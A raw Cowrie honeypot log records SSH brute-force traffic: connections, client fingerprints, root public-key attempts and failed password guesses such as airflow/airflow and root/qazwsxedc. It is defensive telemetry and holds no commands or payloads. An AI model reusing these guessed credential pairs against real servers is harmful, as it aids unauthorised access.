{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:22.366427Z","src_ip":"94.26.106.229","session":"ce3759ff059b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.112.62.144","src_port":55418,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a62e5f741f6","protocol":"ssh","message":"New connection: 103.112.62.144:55418 (10.17.0.5:22) [session: 6a62e5f741f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:22.523787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:22.528433Z","src_ip":"103.112.62.144","session":"6a62e5f741f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qiyuesuo","password":"qiyuesuo","message":"login attempt [qiyuesuo/qiyuesuo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:22.631008Z","src_ip":"94.26.106.229","session":"ce3759ff059b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:22.773354Z","src_ip":"103.112.62.144","session":"6a62e5f741f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45496,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dc7c1f7ee08","protocol":"ssh","message":"New connection: 45.156.87.204:45496 (159.203.135.109:22) [session: 9dc7c1f7ee08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:23.419305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:23.448029Z","src_ip":"45.156.87.204","session":"9dc7c1f7ee08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:23.521670Z","src_ip":"45.156.87.204","session":"9dc7c1f7ee08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:23.722402Z","src_ip":"94.26.106.229","session":"ce3759ff059b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:23.847824Z","src_ip":"45.156.87.204","session":"9dc7c1f7ee08","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:5c:37:1f:36:b8:82:a2:db:3c:2c:a5:ff:ec:e1:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0NbZGmlwtKLC+4Ch8N+aJN60lcL6d6f+Y1pDTwJQ1Hci9z+7q2tmqGsdGrNBjGeJLHoAes3gHzbEMBbDlo/nsKRrG6fXACBoMJus/cT6kezaMXFskDh1jNtAYV+dBz4TZJbRwCEEcgnrfqt0urMX50e8uSqng0cxN/mLsq9YNIgSDue3WUQxTqDy6uaGozc7EH4pzj6NQZ8PpxHV6hO0+T32Mlzec/nJJtyUVJR2qkSxyKy7Z8e9mgUbVaD0QrKAoTbCJJxNb724IdpVI/8P+dq8jRNit1y+lvzeW9hlETgGx+JIFGzjmXzCQ5+nTE51yiSfupZx/9XUnjtUnqwj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:5c:37:1f:36:b8:82:a2:db:3c:2c:a5:ff:ec:e1:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:23.981671Z","src_ip":"103.112.62.144","session":"6a62e5f741f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:5c:37:1f:36:b8:82:a2:db:3c:2c:a5:ff:ec:e1:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0NbZGmlwtKLC+4Ch8N+aJN60lcL6d6f+Y1pDTwJQ1Hci9z+7q2tmqGsdGrNBjGeJLHoAes3gHzbEMBbDlo/nsKRrG6fXACBoMJus/cT6kezaMXFskDh1jNtAYV+dBz4TZJbRwCEEcgnrfqt0urMX50e8uSqng0cxN/mLsq9YNIgSDue3WUQxTqDy6uaGozc7EH4pzj6NQZ8PpxHV6hO0+T32Mlzec/nJJtyUVJR2qkSxyKy7Z8e9mgUbVaD0QrKAoTbCJJxNb724IdpVI/8P+dq8jRNit1y+lvzeW9hlETgGx+JIFGzjmXzCQ5+nTE51yiSfupZx/9XUnjtUnqwj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:23.986006Z","src_ip":"103.112.62.144","session":"6a62e5f741f6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:19:7a:24:21:21:f5:07:47:14:f0:9e:9a:2d:d5:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8Nb55a7lV18VQNEV+INk8Lak23Umm8aBima1WyCF/kA7eYnGGtylhxOfLZ5F/mzN3N0y4ElZpQDMnEBJQYkwRxnKu5paTosXdOLL6W82Gps6xXd4KLv/OYRsPTD9jYWjbxH5snGkjWT9X7DUs6A16+6qDroYWl7lYn/FxLvRSNMT6DPTPU75/bPkLfWoeV/NTJueyPwNP6diGGXwf5c3CbV1x8RT426xJnfM46LQDaEq35qokXEmggICbJYa18OrZGARCVGQAwqw5F4ZKsB/iKVwdIh9Lx3fMf2zvTtPkkumAIeaeWzbadnfZTTEuvKxHM+Ihyv7M89Sis9/CYZGUJx9JjRClXag6EDQVhHLSnkbxChJCovCyp4IWFwU3MnVBAe4l1b74Wj4rHsiHcAK4DArm9Xgg0YLWdxMKzyf7SE9tVuac0NCh/3Avf0FrqwfLFVDONKNgpDGr94hqApmbQhkh7XQ83mCKt+98IidmWefFj2fYm4cEQcJh3Y2T41FO7ZZcandnioLcKS9niqE+oyHdqUbx1URgwW+uqv6VrJtNKwzz9YczoZhyrhIlxf+mZZh9WS7xrrYOc/61V71fCTMAisd2TYIZHR3FQr8yHKFjfX1aSEQc9cbEN32+Ll1bqAABn30xgy+RRIyiFitiYSlv/FfS/agxlu+TfQd3QQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:19:7a:24:21:21:f5:07:47:14:f0:9e:9a:2d:d5:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:24.231784Z","src_ip":"103.112.62.144","session":"6a62e5f741f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:19:7a:24:21:21:f5:07:47:14:f0:9e:9a:2d:d5:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8Nb55a7lV18VQNEV+INk8Lak23Umm8aBima1WyCF/kA7eYnGGtylhxOfLZ5F/mzN3N0y4ElZpQDMnEBJQYkwRxnKu5paTosXdOLL6W82Gps6xXd4KLv/OYRsPTD9jYWjbxH5snGkjWT9X7DUs6A16+6qDroYWl7lYn/FxLvRSNMT6DPTPU75/bPkLfWoeV/NTJueyPwNP6diGGXwf5c3CbV1x8RT426xJnfM46LQDaEq35qokXEmggICbJYa18OrZGARCVGQAwqw5F4ZKsB/iKVwdIh9Lx3fMf2zvTtPkkumAIeaeWzbadnfZTTEuvKxHM+Ihyv7M89Sis9/CYZGUJx9JjRClXag6EDQVhHLSnkbxChJCovCyp4IWFwU3MnVBAe4l1b74Wj4rHsiHcAK4DArm9Xgg0YLWdxMKzyf7SE9tVuac0NCh/3Avf0FrqwfLFVDONKNgpDGr94hqApmbQhkh7XQ83mCKt+98IidmWefFj2fYm4cEQcJh3Y2T41FO7ZZcandnioLcKS9niqE+oyHdqUbx1URgwW+uqv6VrJtNKwzz9YczoZhyrhIlxf+mZZh9WS7xrrYOc/61V71fCTMAisd2TYIZHR3FQr8yHKFjfX1aSEQc9cbEN32+Ll1bqAABn30xgy+RRIyiFitiYSlv/FfS/agxlu+TfQd3QQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:24.235889Z","src_ip":"103.112.62.144","session":"6a62e5f741f6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:96:26:97:c0:4e:a4:3d:f3:bf:2b:10:84:5e:c0:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD1pIS+UHxzK5t/kTMze9OzcO58xOfiDDpg3iv7iaUVGAs3C4L/UUwo98Q5IitRVQSr8j1jKprYtwPTCrQfSApBGAr1jbx+LGOvztrDDYlTrdFb2g9p9w0sSYEej+oZdxTZkrx1j7GNQocOebt8ZoGtrjUY5S4t3JIW2qTn2En4LjiIL/2H/8Eq8wsvingzZcrh04JEj2W4kLLuOHkzIJISGt27c2IaYvfeXFFqzeKDr6H+nKYkd0DdF8v0a2V8ydw0qR/3sQgjyj215NWRgNqSt3tJ5he5W9RUHrPPSWDlpKRwskWWWtaTTF/3ZpKqbpc0fBAuS8dR8RwT73Smot7x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:96:26:97:c0:4e:a4:3d:f3:bf:2b:10:84:5e:c0:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:24.482695Z","src_ip":"103.112.62.144","session":"6a62e5f741f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:96:26:97:c0:4e:a4:3d:f3:bf:2b:10:84:5e:c0:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD1pIS+UHxzK5t/kTMze9OzcO58xOfiDDpg3iv7iaUVGAs3C4L/UUwo98Q5IitRVQSr8j1jKprYtwPTCrQfSApBGAr1jbx+LGOvztrDDYlTrdFb2g9p9w0sSYEej+oZdxTZkrx1j7GNQocOebt8ZoGtrjUY5S4t3JIW2qTn2En4LjiIL/2H/8Eq8wsvingzZcrh04JEj2W4kLLuOHkzIJISGt27c2IaYvfeXFFqzeKDr6H+nKYkd0DdF8v0a2V8ydw0qR/3sQgjyj215NWRgNqSt3tJ5he5W9RUHrPPSWDlpKRwskWWWtaTTF/3ZpKqbpc0fBAuS8dR8RwT73Smot7x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:24.486924Z","src_ip":"103.112.62.144","session":"6a62e5f741f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.114.76","src_port":36326,"dst_ip":"159.203.135.109","dst_port":22,"session":"525c35c60aaa","protocol":"ssh","message":"New connection: 119.28.114.76:36326 (159.203.135.109:22) [session: 525c35c60aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:24.493459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:24.499087Z","src_ip":"119.28.114.76","session":"525c35c60aaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:24.730767Z","src_ip":"119.28.114.76","session":"525c35c60aaa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:40:23:36:a6:f8:e9:32:5b:4c:2b:31:f7:ca:ea:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1S697qOvW3ZWULJsnT/IAfpD//vqfWXa91tM/Uq8U9JcIoSuRU/PvIj5fxtwAlKaL3HKbtNeBB7+MMT4vCOcSTzl1negmBYi+Cm94D2AIRvPFgkkiwueuPd3Cpj/G+1ziL43Dthi+F6Lxkk8ewfE7IOazGGlWhaIKOZAhvvC75wibmYP0ULWkwtKICBycRJfhIjCywH8+88l9Ee/uhhS3VzVtFWw1OA4GNDy1VGEyN6/EO8fGebdxoplKC67mwukKv1B2E8lqK7DGx0bq0YzrIVVxV1ax6qu1tW0p9fUHMYgj06W5pZaUxxTvcQab+itfmtp6B0b8gGk/LNnTtV7j","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:40:23:36:a6:f8:e9:32:5b:4c:2b:31:f7:ca:ea:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:24.738211Z","src_ip":"103.112.62.144","session":"6a62e5f741f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:40:23:36:a6:f8:e9:32:5b:4c:2b:31:f7:ca:ea:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1S697qOvW3ZWULJsnT/IAfpD//vqfWXa91tM/Uq8U9JcIoSuRU/PvIj5fxtwAlKaL3HKbtNeBB7+MMT4vCOcSTzl1negmBYi+Cm94D2AIRvPFgkkiwueuPd3Cpj/G+1ziL43Dthi+F6Lxkk8ewfE7IOazGGlWhaIKOZAhvvC75wibmYP0ULWkwtKICBycRJfhIjCywH8+88l9Ee/uhhS3VzVtFWw1OA4GNDy1VGEyN6/EO8fGebdxoplKC67mwukKv1B2E8lqK7DGx0bq0YzrIVVxV1ax6qu1tW0p9fUHMYgj06W5pZaUxxTvcQab+itfmtp6B0b8gGk/LNnTtV7j","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:24.742979Z","src_ip":"103.112.62.144","session":"6a62e5f741f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:24.937702Z","src_ip":"45.156.87.204","session":"9dc7c1f7ee08","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:73:5d:32:6f:03:99:40:d3:5a:c1:51:44:ab:5e:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8bgybseTdkCuxLzosU5u6zJUvpfdKDS+XZqDKtGlGAb1KH7ytcGk4PvFQ1mTtlDRlnHT57AtjRU/2xGXRZBVFLfyye/7rg4MgMXxsd1r5y7MMgQWLaeVLiRGCfKCNQOh9jP9syHWJ5l4YIpn+3Za/BF/UFA7sAe7v5kul/hQo4zOO7JwY++ymXNTBCvxnNRC0GW64A+PYC4mnc6+O5xgLsVp4HfZ1QPzruY+hHHiZ+lDCJkm/iaMnZkcl2XtX/lmQJeGsIWOckYaBbfzc1y65p8Er4muFAnLl20FQeaC0x3/HFsXStWrH6KjnHm/WcGfDMH6ymZ6/RRnY4nN+fsLP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:73:5d:32:6f:03:99:40:d3:5a:c1:51:44:ab:5e:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:24.988676Z","src_ip":"103.112.62.144","session":"6a62e5f741f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:73:5d:32:6f:03:99:40:d3:5a:c1:51:44:ab:5e:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8bgybseTdkCuxLzosU5u6zJUvpfdKDS+XZqDKtGlGAb1KH7ytcGk4PvFQ1mTtlDRlnHT57AtjRU/2xGXRZBVFLfyye/7rg4MgMXxsd1r5y7MMgQWLaeVLiRGCfKCNQOh9jP9syHWJ5l4YIpn+3Za/BF/UFA7sAe7v5kul/hQo4zOO7JwY++ymXNTBCvxnNRC0GW64A+PYC4mnc6+O5xgLsVp4HfZ1QPzruY+hHHiZ+lDCJkm/iaMnZkcl2XtX/lmQJeGsIWOckYaBbfzc1y65p8Er4muFAnLl20FQeaC0x3/HFsXStWrH6KjnHm/WcGfDMH6ymZ6/RRnY4nN+fsLP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:24.993060Z","src_ip":"103.112.62.144","session":"6a62e5f741f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:25.240545Z","src_ip":"103.112.62.144","session":"6a62e5f741f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:25.683596Z","src_ip":"119.28.114.76","session":"525c35c60aaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.91162586212158,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:26.847482Z","src_ip":"152.42.224.71","session":"75e61f2cc15f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:26.916490Z","src_ip":"119.28.114.76","session":"525c35c60aaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45506,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b6bab02a2b9","protocol":"ssh","message":"New connection: 45.156.87.204:45506 (159.203.135.109:22) [session: 6b6bab02a2b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:26.970695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:26.979903Z","src_ip":"45.156.87.204","session":"6b6bab02a2b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 